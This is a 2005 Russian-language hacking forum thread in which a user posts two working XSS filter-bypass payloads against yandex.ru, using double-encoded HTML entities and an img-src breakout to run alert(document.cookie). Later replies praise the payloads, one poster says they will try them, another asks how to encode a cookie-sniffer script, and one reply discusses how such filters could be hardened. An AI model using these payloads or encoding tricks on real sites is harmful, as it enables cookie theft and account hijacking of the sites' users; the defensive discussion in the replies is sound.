XSS в yandex.ru

Discussion in 'Уязвимости' started by LittleLamer, 13 May 2005.

Thread Status:
Not open for further replies.
  1. LittleLamer

    LittleLamer Elder - Старейшина

    Joined:
    4 Nov 2004
    Messages:
    44
    Likes Received:
    17
    Reputations:
    7
    Вот на yandex нашёл 2 xss.

    1.
    Code:
    <img src="&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38&#35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#49&#49&#50&#38&#35&#49&#49&#54&#38&#35&#53&#56&#38&#35&#57&#55&#38&#35&#49&#48&#56&#38&#35&#49&#48&#49&#38&#35&#49&#49&#52&#38&#35&#49&#49&#54&#38&#35&#52&#48&#38&#35&#49&#48&#48&#38&#35&#49&#49&#49&#38&#35&#57&#57&#38&#35&#49&#49&#55&#38&#35&#49&#48&#57&#38&#35&#49&#48&#49&#38&#35&#49&#49&#48&#38&#35&#49&#49&#54&#38&#35&#52&#54&#38&#35&#57&#57&#38&#35&#49&#49&#49&#38&#35&#49&#49&#49&#38&#35&#49&#48&#55&#38&#35&#49&#48&#53&#38&#35&#49&#48&#49&#38&#35&#52&#49">
    
    суть в том, что javascript:alert(document.cookie) кодируется к виду &#..., а потом получившаяся строчка ещё раз кодируется по такому же принципу. Фильтр один раз декодирует src и получится такое:
    Code:
    <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41">
    это "javascript..." закодированое 1 раз
    
    а это браузер прекрасно поймёт :)

    2.
    Code:
    <img src=a"&#62&#60a&#32id&#61xxx&#62&#60&#47a&#62&#60script&#62[COLOR=Blue]&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#59[/COLOR]&#60&#47script&#62&#60&#97&#32&#115&#114&#99&#61&#34>
    
    синим цветом - alert(document.cookie);
    Ошибка фильтра опять в том, что неправильно понимает содержимое src и ещё хуже декодирует строки типа &#...
     
    2 people like this.
  2. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    круто!
    маладца!
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Да... я всегда говорил, что тупые методы защиты от Xss бесполезны....)))
     
  4. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    LittleLamer что то ник не соответствует действительности! Респект за идею,будем пробовать!
     
  5. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    Я не понимаю разве трудно профильтровать все с htmlspecilachars? ЗАЧЕМ КАКИЕ-ТО ФИЛЬТРЫ? Или я ошибаюсь?
     
    1 person likes this.
  6. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    ты ошибаешься - фича многих почтовых сервантов с веб интерфейсом в том что они позволяют юзать "приемлимые" теги типа <a>,<img> и тд Поэтому основная задача фильтра допустить использование только тегов из списка причем ключевые слова типа javascript,background и тд должны вырезаться или заменяться как в хакере на ЯваСкрИптъ (или что-то типа того) но бага все равно есть=)) Имхо для обеспечения полной безопасности достаточно дать пользователям использовать все теги только по определённому шаблону... например <aПРОБЕЛhref=УРЛ>ТЕКСТ</a> причем УРЛ и ТЕКСТ не должны содержать опасных символов типа ",<,>,'.
     
  7. pantilxaker

    pantilxaker New Member

    Joined:
    18 Oct 2005
    Messages:
    2
    Likes Received:
    3
    Reputations:
    -1
    Мне срочно нужно узнать как закодировать скрипт сниффера!!!
     
  8. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    935
    Likes Received:
    396
    Reputations:
    261
    Берёшь да кодируешь много программ есть для этого!
     
  9. pantilxaker

    pantilxaker New Member

    Joined:
    18 Oct 2005
    Messages:
    2
    Likes Received:
    3
    Reputations:
    -1
    А например?
     
  10. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Вот скажите мне, накой поднимать старую тему чтоб тока сморознуть какую-то фигню?
    Одно дело бы по сабжу хотяб, а то......Неужели "Болталка" для ОФФТОПА уже не годится???????????????????????

    ЗАКРЫТО!
    /ме злой
     
Thread Status:
Not open for further replies.